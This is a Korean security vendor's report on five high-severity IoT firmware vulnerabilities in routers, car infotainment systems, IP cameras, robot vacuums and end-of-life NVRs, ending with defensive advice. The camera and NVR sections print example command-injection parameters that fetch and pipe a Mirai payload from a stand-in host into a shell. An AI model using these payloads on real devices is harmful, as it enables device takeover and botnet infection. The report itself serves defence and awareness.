2025 상반기 가장 위험한 펌웨어 취약점 TOP 5

개요

2025년 상반기, IoT 보안 위협은 점점 더 정교해지고 치밀해지고 있습니다. 단순한 해킹을 넘어, 이제는 가정용 공유기와 로봇청소기, 병원·기업의 IP 카메라, 심지어 차량 내부의 인포테인먼트 시스템(IVI, In-Vehicle Infotainment)까지 공격자들의 주요 표적이 되고 있습니다.

문제는 이러한 기기들이 단순히 기능 장애에 그치지 않고, 사생활 침해와 내부망 침투의발판으로 악용되고 있다는 점입니다. 특히 보안 업데이트가 중단된 EOL(End-of-Life, 지원 종료) 기기와 클라우드 기반 서비스의 인증 우회 취약점은 공격 지속성과 확산성을 한층 높이고 있습니다.

본 리포트에서는 지엔 보안 연구팀이 분석한 2025년 상반기 가장 위험한 IoT 취약점 TOP 5를 바탕으로, 실제 발생 가능한 공격 시나리오와 파급력을 심층적으로 다룹니다.

주요 핵심 요약

• 가정용 IoT 기기(공유기, 로봇청소기, 홈캠)를 통한 원격 제어·감시 및 사생활 침해 위협 지속 증가

  
  

• 차량 IVI 시스템의 루트 권한 탈취 및 원격 코드 실행 위협 현실화

  
  

• EOL 기기 방치로 인한 기업·가정 내 보안 사각지대 확대

  
  

• 다수의 IoT 기기에서 입력값 검증 및 인증·권한관리 등 기본 보안 원칙 미준수

  
  

• 클라우드 기반 서비스의 인증 우회 및 실시간 영상 스트리밍 기능 악용 사례 증가

*아래에 명시된 CVE 취약점들은 이미 공개되었으며, 해당 취약점들에 대한 패치는 완료된 상태입니다.

Top 5 IoT 취약점 분석

1. CVE-2024-0922 : A사 공유기 원격 코드 실행(RCE) 취약점

• 심각도 : 9.8 (Critical, CVSS v3.1 기준)

  
  
  

• 취약점 개요 :

  
  

  A사 공유기의 인터넷 설정 메뉴인 PPPoE(Point-to-Point Protocol over Ethernet)에는, 사용자가 입력한 값을 제대로 검사하지 않는 문제가 있습니다. 이 문제를 악용하면, 공격자가 아주 긴 데이터를 조작해서 보내는 것만으로도 공유기 내부 동작을 망가뜨릴 수 있게 되며, 자신이 원하는 악성 코드를 실행할 수 있게 됩니다.

  
  

  이 과정에는 별도의 로그인이나 인증이 필요하지 않기 때문에, 공격자는 외부에서 손쉽게 공유기를 장악할 수 있습니다. 그 결과, 해당 Wi-Fi를 사용하는 모든 인터넷 트래픽을 감시하거나 조작할 수 있으며, 이를 통해 개인정보나 계정 정보 탈취와 같은 심각한 2차 피해로 이어질 수 있습니다.

  
  
  

• CVE 분석 :

  
  

  해당 취약점은 /goform/QuickIndex라는 설정 API(Application Programming Interface)에서 발생합니다. 이 API는 사용자가 입력한 PPPoE 설정값을 처리하는데, 패스워드를 설정하는 PPPOEPassword인자에 너무 긴 문자열을 입력해도 이를 제대로 걸러내지 못합니다.

  
  

  이렇게 긴 데이터가 내부 코드에서 복사되는 과정에서, 공유기의 메모리 영역(스택)을 침범하게 되고, 이를 이용해 공격자가 미리 심어둔 악성 코드(Shellcode)가 실행될 수 있습니다.

  
  

  해당 공격은 흔히 알려진 스택 기반 버퍼 오버플로우 방식이며, 웹 요청(HTTP POST) 하나만으로 인증 없이 실행 가능하다는 점에서 특히 위험합니다.

  
  
  

• 공격 시나리오 :

  
  

  1. 공격자는 A사 공유기의 /goform/QuickIndex API로 조작된 웹 요청(POST)을 전송합니다.

     
     

  2. 요청에는 PPPOEPassword인자에 버퍼 오버플로우를 유발하는 긴 공격 구문이 포함됩니다.

     
     

  3. 해당 값을 처리할 때 공유기의 메모리 구조가 손상되며, 공격자가 삽입한 악성코드가 실행됩니다.

     
     

  4. 이후 공격자는 공유기의 전체 권한을 획득하게 되며, 이를 이용해 사용자가 입력한 웹 주소와는 다른 악성 사이트로 접속되도록 조작하거나, 누가 어떤 웹사이트에 접속하는지 몰래 들여다보는 등의 추가 공격이 가능해집니다.

2. CVE-2024-23929 : B사 차량용 IVI 시스템의 원격 파일 생성 취약점

• 심각도 : 8.0 (High, CVSS v3.1 기준)

  
  

• 취약점 개요 :

  
  

  운전 중 음악을 듣거나 내비게이션을 조작할 수 있게 도와주는 차량용 IVI 시스템에, 외부에서 받은 파일을 저장할 때 파일 경로를 제대로 확인하지 않는 문제가 있습니다.

  
  

  이 문제점을 악용하면, 공격자가 차량 내부에 원래 있어서는 안 되는 파일을 몰래 만들어 넣거나, 기존의 중요한 파일을 덮어쓸 수 있습니다. 예를 들어 시스템 설정 파일을 공격자가 만든 파일로 바꾸면, 차량이 켜질 때 악성 프로그램이 자동으로 실행될 수 있습니다.

  
  

  만약 이 공격이 성공하면, 화면 인터페이스(UI)가 이상하게 변하거나 장비를 고장내는 등 운전 중 혼란을 유발할 수 있고, 심할 경우 차량의 다른 시스템에도 접근할 수 있는 발판이 될 수 있습니다.

  
  
  

• CVE 분석 :

  
  

  해당 IVI 시스템이 음악 관련 정보(앨범 이미지 등)를 외부에서 받아 저장할 때 사용되는 Gracenote API의 응답 데이터를 처리하는 과정에서 발생합니다.

  
  

  공격자는 차량이 연결된 Wi-Fi 네트워크 환경을 가로채거나, 가짜 서버를 만들어 차량이 조작된 응답을 받도록 유도합니다. 이 응답에는 (../../../) 처럼 파일 저장 경로를 조작하는 문자열(디렉터리 트래버설)과 함께, 공격자가 심어둔 악성 파일이 포함되어 있습니다.

  
  

  문제는 IVI 시스템이 이 데이터를 별다른 검사 없이 그대로 저장한다는 점입니다. 그 결과, 중요한 설정 파일이 덮어씌워지게 되면, 차량이 재시작될 때 USB 장치를 통해 자동으로 악성 프로그램을 실행하게 됩니다.

  
  

  이때 실행되는 프로그램은 최고 권한(루트 권한)으로 작동하므로, 차량의 시스템 전체를 공격자가 마음대로 제어할 수 있는 상태로 바뀌게 됩니다.

  
  
  

• 공격 시나리오 :

  
  

  1. 공격자는 차량이 연결한 Wi-Fi 네트워크를 가로채거나, 공격자 Wi-Fi 핫스팟을 만들어 접속을 유도합니다.

     
     

  2. 차량이 외부 서버로부터 음악 정보 등을 요청하면, 공격자가 응답을 보내 시스템이 조작된 데이터를 받도록 합니다.

     
     

  3. 조작된 응답에는 올바른 경로를 벗어난 저장 경로와 악성 파일이 포함됩니다.

     
     

  4. 차량 시스템은 이를 검사 없이 저장하고, 기존 설정 파일을 덮어씁니다.

     
     

  5. 차량이 재시작되면, 외부 USB에서 공격자가 준비한 프로그램이 자동 실행되며, 차량 시스템이 외부에 의해 제어되는 상태가 됩니다.

3. CVE-2025-1316 : C사 IP 카메라 원격 코드 실행 취약점

• 심각도 : 9.8 (Critical, CVSS v3.1 기준)

  
  
  

• 취약점 개요 :

  
  

  C사 IP 카메라는 외부에서 설정을 변경할 수 있는 기능을 제공하지만, 사용자가 입력한 값을 제대로 검사하지 않는 보안상 허점이 있습니다.

  
  

  이 취약점을 악용하면, 공격자는 인증 없이도 카메라에 특수한 명령을 담은 요청을 보내 카메라 내부에서 마음대로 프로그램을 실행할 수 있게 됩니다.

  
  

  그 결과, 카메라가 공격자의 명령을 따르게 되고, 영상 녹화나 스트리밍을 몰래 조작하거나, 카메라를 해킹 도구로 활용해 다른 기기를 공격하는 등의 피해가 발생할 수 있습니다.

  
  

  실제로 이 취약점은 Mirai와 같은 사물인터넷 감염형 악성코드(봇넷)가 IP 카메라를 감염시키는 데 사용된 적이 있을 정도로 위험성이 높은 문제입니다.

  
  
  

• CVE 분석 :

  
  

  해당 취약점은 C사 IP 카메라 내부의 /camera-cgi/admin/param.cgi 라는 API에서 발생합니다. 해당 기능은 시간 설정과 관련된 정보를 입력받는 기능인데, 입력 값에 시스템 명령어가 섞여 있어도 이를 걸러내지 못하는 문제가 있습니다.

  
  
  

  예를 들어 아래처럼 공격자가 명령어를 넣어 요청을 보내면,

  ipcamSource=NTP_serverName=ntp.server.com;wget http://malicious.site/mirai -O- | sh

  
  

  카메라는 이 전체 문자열을 마치 정상 입력처럼 처리하면서 다음과 같이 명령어를 그대로 실행합니다.

  ntpdate ntp.server.com;wget http://malicious.site/mirai -O- | sh

  
  

  해당 명령에서 앞부분은 정상적인 시간 동기화 명령이지만, 뒤에 붙은 wget과 sh 명령어는 공격자가 준비한 악성코드를 다운로드하고 실행하는 명령어입니다.

  
  
  

  이렇게 되면 카메라는 공격자가 원격으로 마음대로 조작할 수 있는 상태가 되며, 집 안의 다른 기기들에 몰래 접근하는 통로로 사용되거나 다른 사람의 웹사이트를 공격하는 데 이용될 수 있습니다.

  
  
  

• 공격 시나리오 :

  
  

  1. 공격자가 인증 없이 IP 카메라의 설정 API(/camera-cgi/admin/param.cgi )에 접근하여, 악의적인 명령어가 포함된 요청을 보냅니다.

     
     

  2. 카메라는 이 요청을 그대로 처리하며, 공격자가 지정한 웹 주소에서 악성 프로그램을 다운로드하고 실행합니다.

     
     

  3. 이로 인해 카메라는 공격자가 원하는 대로 동작하게 되며, 영상 데이터를 탈취하거나, 인터넷 대역폭을 이용해 다른 웹사이트를 공격하거나, 같은 네트워크에 있는 다른 기기를 찾아 침투하는 등의 추가 공격이 가능해집니다.

4. CVE-2024-52327: D사 로봇 청소기 클라우드 서비스의 인증 우회 취약점

• 심각도 : 6.5 (Medium, CVSS v3.1 기준)

  
  

• 취약점 개요 :

  
  

  D사 로봇 청소기에는 실시간 영상 스트리밍 기능이 탑재되어 있어, 청소기의 카메라나 마이크를 통해 실내를 원격으로 확인할 수 있는 기능을 제공합니다. 이 기능은 원래 PIN 번호를 입력해야만 사용이 가능하도록 설계되어 있습니다.

  
  

  하지만 이 기능은 실제로는 앱(클라이언트) 내부에서만 작동하고, 서버나 기기에서는 PIN 입력 여부를 제대로 확인하지 않는 구조였습니다. 이로 인해 공격자는 단순히 계정 정보 또는 인증 토큰만 가지고 있으면, PIN을 몰라도 실시간 스트리밍 기능을 사용할 수 있습니다.

  
  

  즉, 사용자 몰래 카메라나 마이크에 접근해 실내를 엿볼 수 있는 위험한 상황이 발생할 수 있습니다.

  
  
  

• CVE 분석 :

  
  

  로봇청소기의 라이브 스트리밍 기능을 사용할 때, 앱은 설정 파일 내의 pin_enabled와 pin_hash라는 값을 확인해 PIN을 입력받을지 여부를 결정합니다. 문제는 이 과정은 앱 내부에서만 수행되며, 정작 중요한 스트리밍 연결을 담당하는 서버(API)나 기기에서는 PIN을 전혀 확인하지 않습니다.

  
  

  공격자는 이 허점을 이용해 PIN을 무시하고도 WebRTC(Web Real-Time Communication) 기반 스트리밍 세션에 접근할 수 있으며, PIN을 잘못 입력했거나, 아예 입력하지 않아도 정상적으로 카메라와 마이크에 연결할 수 있습니다.

  
  
  

• 공격 시나리오 :

  
  

  1. 공격자는 피해자의 네트워크에 침투하거나, D사 앱의 취약점을 이용해 계정 정보 또는 인증 토큰을 탈취합니다.

     
     

  2. 차탈취한 토큰을 이용해, 로봇청소기의 카메라 스트리밍(WebRTC) 세션 연결 요청을 보냅니다.

     
     

  3. 이때, 앱은 PIN을 요청하지만, 로봇 및 클라우드 서버는 실제로 PIN 검증 여부를 확인하지 않습니다.

     
     

  4. 공격자는 잘못된 PIN을 입력하거나, PIN을 입력하지 않아도 스트리밍 세션에 접근할 수 있으며, 그 결과 사용자 몰래 로봇청소기의 카메라와 마이크에 연결되어 실내 영상과 소리를 실시간으로 들여다보는 것이 가능해집니다.

5. CVE-2024-6047, CVE-2024-11120 : E사 EOL 기기의 명령어 삽입 취약점

• 심각도 : 9.8 (Critical, CVSS v3.1 기준)

  
  

• 취약점 개요 :

  
  

  E사에서 만든 일부 보안 카메라나 NVR(Network Video Recorder) 기기는 더 이상 보안 업데이트를 받지 않는 EOL(지원 종료) 상태입니다. 그런데 이 기기들에는 여전히 외부에서 설정값을 입력받는 기능이 존재하며, 이 기능이 제대로 보호되지 않아 누구든 로그인 없이 기기를 조작할 수 있는 심각한 취약점이 발견되었습니다.

  
  

  공격자는 아주 간단한 웹 요청 한 번만으로 기기 안에서 마음대로 명령어를 실행할 수 있게 되며, 실제로도 해커들에게 공격 도구로 널리 악용되고 있습니다.

  
  

  이렇게 감염된 기기는 본래의 기능과 상관없이, 다른 웹사이트를 공격하거나, 기업이나 가정 내의 다른 기기를 침투하는 통로로 악용될 수 있습니다.

  
  
  

• CVE 분석 :

  
  

  해당 취약점은 기기 설정을 담당하는 /DateSetting.cgi 라는 API에서 발생합니다. 공격자는 해당 API에 정상 주소 값 뒤에 명령어를 덧붙여 시스템에 전달합니다.

  
  
  

  예를 들어, 아래와 같은 요청을 전송할 수 있습니다.

  szSrvIpAddr=time.windows.com;wget http://malicious.site/mirai -O- | sh

  
  

  겉으로 보기에는 단순한 시간 설정을 위한 주소처럼 보이지만, 시스템 내부에서는 아래와 같은 전체 명령어가 실행됩니다.

  ntpdate time.windows.com;wget http://malicious.site/mirai -O- | sh

  
  

  앞에 ntpdate는 정상 동작을 하고, 그 뒤로는 공격자의 서버에서 악성 프로그램을 내려받아 실행하는 명령어입니다.

  
  
  

  문제는 이 과정에서 로그인도 필요 없고, 해당 명령어가 그대로 관리자 권한으로 실행된다는 점입니다.

  이로 인해 공격자는 기기를 마음대로 조작하거나 악성 행위를 수행할 수 있습니다.

  
  
  

• 공격 시나리오 :

  
  

  1. 공격자는 인터넷에 연결된 GeoVision 기기를 찾아 /DateSetting.cgi 주소를 식별합니다.

     
     

  2. 해당 주소로 명령어가 포함된 악성 요청을 전송합니다.

     
     

  3. 기기는 이 요청을 별다른 검사 없이 받아들여, 악성 파일을 공격자 서버에서 내려받고 실행하게 됩니다.

     
     

  4. 그 결과, 기기는 공격자의 통제 아래 놓이게 되며, 다른 웹사이트를 공격하거나, 네트워크 내 다른 기기에 침투하는 도구로 사용될 수 있습니다.

산업별 영향 분석

가정용 IoT 시장

A사 공유기(CVE-2024-0922), D사 로봇청소기(CVE-2024-52327), C사 IP카메라(CVE-2025-1316)에서 발견된 취약점은 일반 가정에서 사용하는 인터넷 기기나 스마트 기기의 보안이 얼마나 쉽게 뚫릴 수 있는지를 보여줍니다.

외부에 있는 누군가가 로그인도 없이 공유기를 조작하거나, 로봇청소기의 카메라로 집안을 엿볼 수 있는 상황이 발생할 수 있다는 것입니다. 특히 외부에서 인증 없이 디바이스를 원격 제어하거나 영상 스트림에 무단으로 접근할 수 있는 구조적 취약점은 사용자의 사생활 침해로 직결됩니다.

☑️ 사생활 침해, 내부망 침투 경로로의 악용 가능성이 커지고 있으며, 사용자 인식 개선과 자동 보안 업데이트 시스템 도입, 디폴트 설정 보안 강화 등이 시급한 과제가 되고 있습니다.

• 개인 프라이버시 침해, 가정 내 네트워크 침투, 피싱 연계 공격 등 현실적인 위협 시나리오가 실제로 가능함이 입증되었습니다.

스마트 모빌리티 / 자동차 산업

B사의 IVI 시스템(CVE-2024-23929)은 운전자 경험을 위한 기능 확장이 보안의 취약 지점으로 전환될 수 있다는 점을 보여줍니다. 공격자는 IVI 시스템을 악용해 차량 내부의 파일 시스템을 장악하거나, 차량 내 네트워크 접근의 발판으로 삼을 수 있습니다.

☑️ IVI 시스템은 차량 ECU와의 통신 연계성을 갖는 만큼, 보안 설계 시 네트워크 경로 분리, OTA(Over-The-Air) 무결성 검증, 디버깅 인터페이스 접근 제한 등 하드웨어·소프트웨어 통합 보안 전략이 요구됩니다.

• 공격이 성공할 경우, 운전자 혼란 유발, 차량 시스템 제어, 위장된 UI 조작 등을 통한 심각한 사고 위험이 존재합니다.

보안 기기 산업

E사의 EOL 기기(CVE-2024-6047, CVE-2024-11120)와 같은 보안 카메라, 출입 시스템 기기는 물리적 보안을 담당하는 핵심 인프라임에도 불구하고, 지원 종료 이후 장기간 방치되는 경우가 많습니다. 이러한 기기는 업데이트가 불가능한 취약한 백도어가 되어 공격자에게 내부망 침투의 실마리를 제공합니다.

☑️ 보안 기기의 라이프사이클 관리 체계, EOL 기기의 신속한 교체, 내부망과의 분리 운용 정책, 보안 카메라 접근 로그 분석 시스템 도입 등의 정책 강화가 절실한 시점입니다.

• 이런 장비는 기업 내부망 침투의 초기 거점이 되거나, DDoS 공격 등 외부 공격의 수단으로 활용될 수 있습니다.

ZIEN 보안 권고사항

기업 보안 책임자(CISO)를 위한 전략

1. IoT 자산의 가시성 확보 및 수명 주기 관리

   • 조직 내 설치된 IoT 기기의 현황을 파악하고, EOL 여부를 기준으로 등급화하여 위험 기반 자산 관리 체계를 수립합니다.

     
     

2. 망 분리 정책 고도화

   • IoT망과 내부 정보망 간의 논리적·물리적 격리를 강화하여 신뢰할 수 없는 IoT 기기와 주요 정보 시스템 간의 직접 연결을 차단하고, VLAN 또는 DMZ 환경을 통해 통신을 격리합니다.

     
     

3. 보안 패치 불가능 기기 처리 기준 수립

   • 보안 업데이트가 종료된 기기에 대한 교체 또는 격리 기준을 수립하고, 단계적 대응 프로세스를 운영합니다.

보안 실무자를 위한 기술적 대응 방안

1. 이상행위 탐지 체계 구축

   • 설정값 변조, 비인가 스트리밍 요청, 이상 API 호출 등 이상 징후에 대한 로그 기반 모니터링을 강화합니다.

     
     

2. OTA 및 인증 로직 검증 강화

   • 클라이언트와 서버 간 이중 인증 구조 도입, 토큰 만료 및 암호화 설정을 통해 클라우드 인증 우회 리스크를 줄입니다.

     
     

3. 로깅 및 포렌식 체계 정비

   • IoT 기기의 행동 로그를 중앙 수집하고, 침해 발생 시 신속한 분석이 가능한 포렌식 기반 대응 체계를 마련합니다.

결론

2025년 상반기 IoT 보안 동향은 “넓어진 공격 표면, 미흡한 기본 보안”이라는 키워드로 요약됩니다. EOL 기기의 방치, 인증 우회 및 원격 코드 실행이 가능한 클라우드 연동 기기, 입력값 검증이 생략된 시스템 API 등은 여전히 공격자에게 손쉬운 타깃입니다. 특히 공격 대상이 소비자용 기기를 넘어 차량, 기업 정보망, 공공 인프라까지 위협이 확산되고 있으며, 공격자는 이를 봇넷 구성, 내부망 침투, 사생활 침해 수단으로 적극 활용하고 있습니다.

이에 따라, 기업은 단편적인 보안 패치 적용에 그치지 않고, IoT 자산의 라이프사이클 관리, 망 분리 및 정책 기반 통제 강화, OTA 및 인증 구조의 지속적 검증, 자동화된 보안 취약점 분석 및 대응 체계 마련 등이 병행되어야 합니다.

ZIEN 보안 연구팀은 이번 리포트를 통해 실제 발견된 고위험 IoT 취약점을 중심으로 산업별 위험을 분석하고, 현실적인 보안 개선 방안을 제시하고자 합니다. 앞으로도 IoT 보안의 사각지대를 면밀히 분석하고, 실효성 있는 대응 전략을 지속적으로 제안할 예정입니다.

관련 용어 해설

• EOL(End-of-Life, 지원 종료): 제품이 더 이상 제조사로부터 기능 업데이트나 보안 패치를 받지 않은 상태

• OTA(Over-The-Air) 업데이트: 스마트폰이나 IoT 기기처럼, 무선 네트워크(Wi-Fi, LTE 등) 를 통해 펌웨어를 원격으로 업데이트하는 방식

• 봇넷(Botnet): 해커가 감염시킨 여러 대의 장비(PC, IP카메라 등)를 원격에서 통제하는 네트워크

• 원격 코드 실행(RCE, Remote Code Execution: 공격자가 피해자의 기기에서 원격으로 명령어나 프로그램을 실행할 수 있는 상태

• 디렉터리 트래버설(Path Traversal): 파일 경로를 조작해 시스템 내에 있는 원래 접근할 수 없는 파일에 접근하는 공격

• 명령어 삽입(Command Injection): 시스템이 사용자로부터 입력받은 내용을 그대로 실행할 때, 그 틈을 이용해 공격자가 시스템 명령어를 끼워넣는 방식의 공격

• 버퍼 오버플로우(Buffer Overflow): 프로그램이 데이터를 저장하기 위해 확보한 공간(버퍼)보다 더 많은 데이터를 입력받으면, 인접한 메모리 영역까지 덮어써버리는 공격 기법

  
  

© 2025 ZIEN, Inc. All rights reserved.

본 보고서의 내용은 ZIEN 보안 연구팀의 자체 분석 및 공개된 취약점 정보를 바탕으로 작성되었습니다.